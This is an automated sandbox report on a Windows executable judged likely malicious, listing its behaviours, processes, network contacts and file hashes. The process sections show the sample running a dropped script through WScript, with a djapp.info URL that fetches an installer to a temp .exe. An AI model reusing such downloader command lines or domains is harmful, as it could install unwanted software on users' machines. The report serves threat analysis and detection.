Analysis Overview
SHA256
58fbfa02167ba953913bc189fda27db2c53fb4e4372a97851bccc2996d461de3
Threat Level: Likely malicious
The file a1b38688f0af233fb4942d681698e059_JaffaCakes118 was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Unsigned PE
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-12 18:18
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-12 18:18
Reported
2024-06-12 18:20
Platform
win7-20240221-en
Max time kernel
118s
Max time network
118s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFC9.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fufFC9.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFC9.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fufFC9.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFC9.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fufFC9.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFC9.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fufFC9.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFC9.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fufFC9.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 3.19.116.195:80 | bi.downthat.com | tcp |
| US | 8.8.8.8:53 | www.hugedomains.com | udp |
| US | 104.26.7.37:443 | www.hugedomains.com | tcp |
| US | 3.19.116.195:80 | bi.downthat.com | tcp |
| US | 104.26.7.37:443 | www.hugedomains.com | tcp |
| US | 3.19.116.195:80 | bi.downthat.com | tcp |
| US | 104.26.7.37:443 | www.hugedomains.com | tcp |
| US | 3.19.116.195:80 | bi.downthat.com | tcp |
| US | 104.26.7.37:443 | www.hugedomains.com | tcp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 3.94.41.167:80 | bi.downthat.com | tcp |
| US | 104.26.7.37:443 | www.hugedomains.com | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\fufFC9.js
| MD5 | 3813cab188d1de6f92f8b82c2059991b |
| SHA1 | 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb |
| SHA256 | a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e |
| SHA512 | 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm
| MD5 | 4271dc0db4cca508dcc11932c6b45a26 |
| SHA1 | 00038cf4c3a2fc0f4a85dddffae9f7dcbb8dc5b7 |
| SHA256 | fa96f9a00323a85e7a860f09809d5ccd92df055c10a05f2f755b9d71108c19b8 |
| SHA512 | 7594ef0b2ea24f842ac68d59b86f96c9fc7cc3c66ae53ff7f2f39dc54de373f6dfe1d2b3ea15d77bc18de82c299d1b67b87dc9ea6578355b24356d5703928ab7 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\LDFO96ST.txt
| MD5 | a5f8ef342911e33a47af7043ed52124a |
| SHA1 | bb7f26f8ef3e1fe4e272184369e476c3b1db6a05 |
| SHA256 | facedc4764a82f4b3aba883f8c64c31561d32b889c0da7bcc6c319b1e2ad3700 |
| SHA512 | 4ba9965be203c5813d76bf863fbbf8b04d4725137ad9ab60a0f9ce34330087f43e113ad6180394ec1f5c8803d3c1106ce2e259b721a443db4b3d5edc4398c5f0 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | d9b10d558c1a65db67da56c5e9ad98c6 |
| SHA1 | 411a9fd3e98d250cf04d1af2d959f33ad1d4f885 |
| SHA256 | 59b74fc54d00edff791be0e8cac078c91586701ca01132ff6d568194884279d5 |
| SHA512 | d609798c1c5dcc5c8c6735eea0ee7a7d2f412e5f5bfeb73906aee71acc7040a60e9df236c794598c7e5ee4ae06c5c2b8a223aac85bba8231466557ec66c77b1e |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
| MD5 | 8202a1cd02e7d69597995cabbe881a12 |
| SHA1 | 8858d9d934b7aa9330ee73de6c476acf19929ff6 |
| SHA256 | 58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5 |
| SHA512 | 97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
| MD5 | fb03c3456a23fb76246e9e178495cca5 |
| SHA1 | 1bc00471c83f5d842778f4eeac480d557c355f32 |
| SHA256 | 87e4e260d3f6d2693c1f8ffaea8a758866422316a0ad16429265e7f414534f00 |
| SHA512 | cbf7a29310e4a4acb5de72a4571ebf9724d44547d30e097435b39fb36adec878ca9e5ff12fd572f8796a12e5964140ead418352f1dd088775652e03210acd23a |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
| MD5 | 660b6e28b38ebe7e521064e60113fffc |
| SHA1 | f2c25e9f931876bf6834191ec5b409f47f869129 |
| SHA256 | 3e203426c4aa1403e940966905320c612ce4006cc87e03eb64058eaf6d402433 |
| SHA512 | 96868e652d5e0c25b4d0f0ada20d345115f0c6fda26d3cab724c0c1867386d2dcedc408c51f776b7e019ce2e22755017d99bf663cdd9fd0d88b26182c6434bcc |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
| MD5 | 23d032578c9f9b40a08caa9dc7ae26fd |
| SHA1 | 56ee33423fa772203cdb651db133d7760fb8e608 |
| SHA256 | f580a3d06c03281fb9299fd4983f64372147d0cbbc73a23ebb913d6261849a30 |
| SHA512 | 00f2e09e25d1391ab06c36dbbeebf2a3c8332d579fc57dc04b3a3ae0b57e3de09997eb364dabbbf13c224da5a99d818b5437d44580fcb709240eae002eff6935 |
C:\Users\Admin\AppData\Local\Temp\Cab3F22.tmp
| MD5 | ac05d27423a85adc1622c714f2cb6184 |
| SHA1 | b0fe2b1abddb97837ea0195be70ab2ff14d43198 |
| SHA256 | c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d |
| SHA512 | 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3NPBB818\domain_profile[1].htm
| MD5 | 6f61ac26c4e55b605c825702d7f6920a |
| SHA1 | 4579d028dad69b365e0fe5794cbd4eb386aa8b2f |
| SHA256 | c5f0086dd5714d5dccb475a2bb35ad2d5c27c61a47934502598855e78908f96c |
| SHA512 | 0f535410fc1eee6304aee5497d3bf48f9188919331c5e020d1507c2259e8cee46da452c1db0e7bdb44cf783e764855d1ca5e9f1e0e73ebddf8c33c88815a6f71 |
C:\Users\Admin\AppData\Local\Temp\Tar5783.tmp
| MD5 | 9c0c641c06238516f27941aa1166d427 |
| SHA1 | 64cd549fb8cf014fcd9312aa7a5b023847b6c977 |
| SHA256 | 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f |
| SHA512 | 936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm
| MD5 | a37be993a2434b57ab3c41b7d1480876 |
| SHA1 | 8e2e1fc1adccf1c68ec65f87e1c83b19133c7f84 |
| SHA256 | 4f89f29e21c56a643485debfd93c06d0c54e867ee80b477b0b3bf035a56d01e5 |
| SHA512 | 4b052b471c181d039f9c7e34183d0cfa27eebc8397ea14fc9776e1a48b18fb8899bb0760b4188a63f58cfe7715b950c4282f24b718271bd6c2486c21e484048b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3NPBB818\domain_profile[1].htm
| MD5 | c99611a46b40536093859c67646ccb8f |
| SHA1 | f480335556efc18019e5e153f312fa4ef0558fae |
| SHA256 | f0852c86b4b147b43f9d7c535dee152d4942c5386eee2ef4f5e7623ca4e654fe |
| SHA512 | c3a7650b2a33e4f2db27a3b84f08f3fdc562ab56b4bff68bb771edbeb3504280a3323f1605fd903196b8810f006c7244c58eb8e66b6df2987ae82cd759af8f48 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-12 18:18
Reported
2024-06-12 18:20
Platform
win10v2004-20240508-en
Max time kernel
100s
Max time network
90s
Command Line
Signatures
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
Files
C:\Users\Admin\AppData\Local\Temp\fuf41EB.js
| MD5 | 3813cab188d1de6f92f8b82c2059991b |
| SHA1 | 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb |
| SHA256 | a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e |
| SHA512 | 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76 |